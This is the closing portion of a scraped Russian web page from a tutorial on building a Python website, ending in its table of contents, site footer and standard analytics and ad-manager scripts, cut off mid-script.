хостинга, вы должны убедиться, что все работает должным образом, а публичный доступ к сайту доступен по соответствующему доменному имени и/или IP-адресу. В целом, размещение на хостинге — это важный шаг в вашем пути создания сайта на Python, и вы должны уделить ему достаточное внимание.</p><h2><span class="ez-toc-section" id="FAQ"></span>FAQ<span class="ez-toc-section-end"></span></h2><div class="flat_pm_end"></div><div id="ez-toc-container" class="ez-toc-v2_0_22 counter-hierarchy ez-toc-grey"><div class="ez-toc-title-container"><p class="ez-toc-title">Cодержание</p> <span class="ez-toc-title-toggle"><a class="ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle" style="display: none;"><i class="ez-toc-glyphicon ez-toc-icon-toggle"></i></a></span></div><nav><ul class="ez-toc-list ez-toc-list-level-1"><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-1" href="#%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B" title="Начало работы">Начало работы</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-2" href="#%D0%92%D1%8B%D0%B1%D0%BE%D1%80_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%B2" title="Выбор инструментов">Выбор инструментов</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-3" href="#%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Python" title="Установка Python">Установка Python</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-4" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B0" title="Создание проекта">Создание проекта</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-5" href="#%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_%D0%BE%D0%BA%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F" title="Настройка окружения">Настройка окружения</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-6" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D1%81%D1%80%D0%B5%D0%B4" title="Использование виртуальных сред">Использование виртуальных сред</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-7" href="#%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA%D0%B0" title="Установка фреймворка">Установка фреймворка</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-8" href="#%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F" title="Структура приложения">Структура приложения</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-9" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D1%8B%D1%85_%D0%BA%D0%B0%D1%82%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2" title="Создание основных каталогов">Создание основных каталогов</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-10" href="#%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0%D0%BC%D0%B8_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0%BE%D0%B2" title="Работа с файлами шаблонов">Работа с файлами шаблонов</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-11" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D0%BE%D0%B9_HTML-%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B" title="Создание базовой HTML-страницы">Создание базовой HTML-страницы</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-12" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86" title="Создание страниц">Создание страниц</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-13" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%BE%D0%B2" title="Создание маршрутов">Создание маршрутов</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-14" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0%BE%D0%B2_URL-%D0%B0%D0%B4%D1%80%D0%B5%D1%81%D0%BE%D0%B2" title="Использование шаблонов URL-адресов">Использование шаблонов URL-адресов</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-15" href="#%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81%D0%BE_%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%BC%D0%B8_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0%D0%BC%D0%B8" title="Работа со статическими файлами">Работа со статическими файлами</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-16" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B5%D0%B9_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="Создание моделей данных">Создание моделей данных</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-17" href="#%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%BC%D0%B8" title="Работа с данными">Работа с данными</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-18" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_ORM" title="Использование ORM">Использование ORM</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-19" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86_%D0%91%D0%94" title="Создание таблиц БД">Создание таблиц БД</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-20" href="#%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81_%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D0%BC%D0%B8" title="Работа с формами">Работа с формами</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-21" href="#%D0%97%D0%B0%D0%BF%D1%83%D1%81%D0%BA_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F" title="Запуск приложения">Запуск приложения</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-22" href="#%D0%9E%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA" title="Отладка ошибок">Отладка ошибок</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-23" href="#%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BB%D0%BE%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F" title="Использование логирования">Использование логирования</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-24" href="#%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D1%85%D0%BE%D1%81%D1%82%D0%B8%D0%BD%D0%B3%D0%B5" title="Размещение на хостинге">Размещение на хостинге</a></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-25" href="#FAQ" title="FAQ">FAQ</a></li></ul></nav></div></div></article><div class="post-meta"><div class="post-share"><div class="post-share__title">Поделиться с друзьями:</div><div class="likely"><div class="twitter">Твитнуть</div><div class="facebook">Поделиться</div><div class="vkontakte">Поделиться</div><div class="telegram">Отправить</div><div class="odnoklassniki">Класснуть</div></div></div></div><meta itemprop="headline" content="Как создать сайт на Python с нуля: шаг за шагом инструкция"><meta itemprop="author" content="Zdron"><meta itemprop="datePublished" content="2018-06-23"><meta itemprop="dateModified" content="2023-06-14"> <a itemprop="url" href="https://zdrons.ru/veb-programmirovanie/kak-sozdat-sajt-na-python-s-nulya-shag-za-shagom-instrukciya/" style="display:none">Как создать сайт на Python с нуля: шаг за шагом инструкция</a> <a itemprop="mainEntityOfPage" href="https://zdrons.ru/veb-programmirovanie/kak-sozdat-sajt-na-python-s-nulya-shag-za-shagom-instrukciya/" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_320x200.jpg" alt="Как создать сайт на Python с нуля: шаг за шагом инструкция"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="ZDRONS.RU"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="http://zdrons.ru/wp-content/uploads/2020/07/zdrons-logo.jpg" alt="ZDRONS.RU"></div></div></div><div class='yarpp-related'><h3>Еще статьи:</h3><ol><li><a href="https://zdrons.ru/veb-programmirovanie/spisok-i-kortezh-v-python-osnovnye-otlichiya-i-sravnenie/" rel="bookmark" title="Список и кортеж в Python: основные отличия и сравнение">Список и кортеж в Python: основные отличия и сравнение </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/razdelenie-strok-v-python-poshagovoe-rukovodstvo-s-primerami-koda/" rel="bookmark" title="Разделение строк в Python: пошаговое руководство с примерами кода">Разделение строк в Python: пошаговое руководство с примерами кода </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/opredelenie-chetnosti-i-nechetnosti-chisla-v-python/" rel="bookmark" title="Определение четности и нечетности числа в Python">Определение четности и нечетности числа в Python </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/python-uprazhneniya-na-chtenie-dannyh-iz-fajla/" rel="bookmark" title="Python: упражнения на чтение данных из файла">Python: упражнения на чтение данных из файла </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/kak-proverit-na-prostoe-chislo-v-python-luchshie-sposoby/" rel="bookmark" title="Как проверить на простое число в Python: лучшие способы">Как проверить на простое число в Python: лучшие способы </a></li></ol></div><aside class="comments-block"><div id="respond" class="respond"><div class="respond__title">Добавить комментарий</div><div id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/veb-programmirovanie/kak-sozdat-sajt-na-python-s-nulya-shag-za-shagom-instrukciya/#respond" style="display:none;">Нажмите, чтобы отменить ответ.</a></div> <!--noindex--><form action="https://zdrons.ru/wp-comments-post.php" method="post" class="respond-form"> <input type="text" name="author" id="author" placeholder="Ваше имя:" class="respond-form__field respond-form__name" value="" aria-required='true' /> <input type="text" name="email" id="email" placeholder="Ваш e-mail:" class="respond-form__field respond-form__email" value="" aria-required='true' /> <input type="text" name="url" id="url" placeholder="Ваш сайт:" class="respond-form__field respond-form__site" value="" /><textarea name="comment" id="comment_textarea" rows="7" placeholder="Ваш комментарий:" class="respond-form__text respond-form__textarea"></textarea><input name="submit" type="submit" class="respond-form__button" value="Отправить" /> <input type='hidden' name='comment_post_ID' value='21084' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /></form> <!--/noindex--></div></aside></main><aside class="sidebar sidebar_midle"><div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3967411154464684" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-3967411154464684" data-ad-slot="5926433654" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Как опубликовать статьи с помощью Powered by php link directory?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/kak-opublikovat-stati-s-pomoshhju-powered-by-php-link-directory/">Как опубликовать статьи с помощью Powered by php link directory?</a></div><div class="section-posts__item-text"> Узнайте, как использовать Powered by php link directory для удобной...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Как выбрать между Javascript, PHP, Python и Ruby в 2021 году?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/kak-vybrat-mezhdu-javascript-php-python-i-ruby-v-2021-godu/">Как выбрать между Javascript, PHP, Python и Ruby в 2021 году?</a></div><div class="section-posts__item-text"> Какой язык программирования выбрать в 2021 году: Javascript, PHP, Python...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Как установить Ruby on Rails на Windows 10: самое полное руководство" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/kak-ustanovit-ruby-on-rails-na-windows-10-samoe-polnoe-rukovodstvo/">Как установить Ruby on Rails на Windows 10: самое полное руководство</a></div><div class="section-posts__item-text"> Хотите разрабатывать на Ruby on Rails в среде Windows? Наше...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="title">Популярные Бренды на OS Android</div><div class="textwidget custom-html-widget"><ul><li><a href="https://zdrons.ru/?s=Samsung">Samsung</a></li><li><a href="https://zdrons.ru/?s=Huawei">Huawei</a></li><li><a href="https://zdrons.ru/?s=Xiaomi">Xiaomi</a></li><li><a href="https://zdrons.ru/?s=Honor">Honor</a></li><li><a href="https://zdrons.ru/?s=LG">LG</a></li><li><a href="https://zdrons.ru/?s=Meizu">Meizu</a></li><li><a href="https://zdrons.ru/?s=Lenovo">Lenovo</a></li><li><a href="https://zdrons.ru/?s=ZTE">ZTE</a></li><li><a href="https://zdrons.ru/?s=Nokia">Nokia</a></li><li><a href="https://zdrons.ru/?s=Philips">Philips</a></li><li><a href="https://zdrons.ru/?s=Prestigio">Prestigio</a></li></ul></div></div></aside></div></div><footer class="footer" id="footer"><nav class="footer-nav"><ul><li id="menu-item-13616" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-13616"><a href="https://zdrons.ru/ob-avtore/">Об авторе</a></li><li id="menu-item-9724" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9724"><a href="https://zdrons.ru/spisok-statej-sajta/">Список статей сайта</a></li><li id="menu-item-14015" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14015"><a href="https://zdrons.ru/polzovatelskoe-soglashenie/">Пользовательское соглашение</a></li><li id="menu-item-14016" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14016"><a href="https://zdrons.ru/politika-konfidencialnosti/">Политика конфиденциальности</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2023 Все права защищены.</div></div></footer></div> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"apiSettings":{"root":"https:\/\/zdrons.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};</script> <script type='text/javascript' id='jquery-lazyloadxt-js-extra'>var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"};</script> <script type='text/javascript' id='jquery-lazyloadxt-extend-js-extra'>var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""};</script> <script type='text/javascript' id='ez-toc-js-js-extra'>var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","width":"auto","scroll_offset":"30"};</script> <script type="text/javascript" >(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter57878959 = new Ya.Metrika({ id:57878959, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true, trackHash:true, ecommerce:"dataLayer" }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks");</script> <noscript><div><img src="https://mc.yandex.ru/watch/57878959" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet 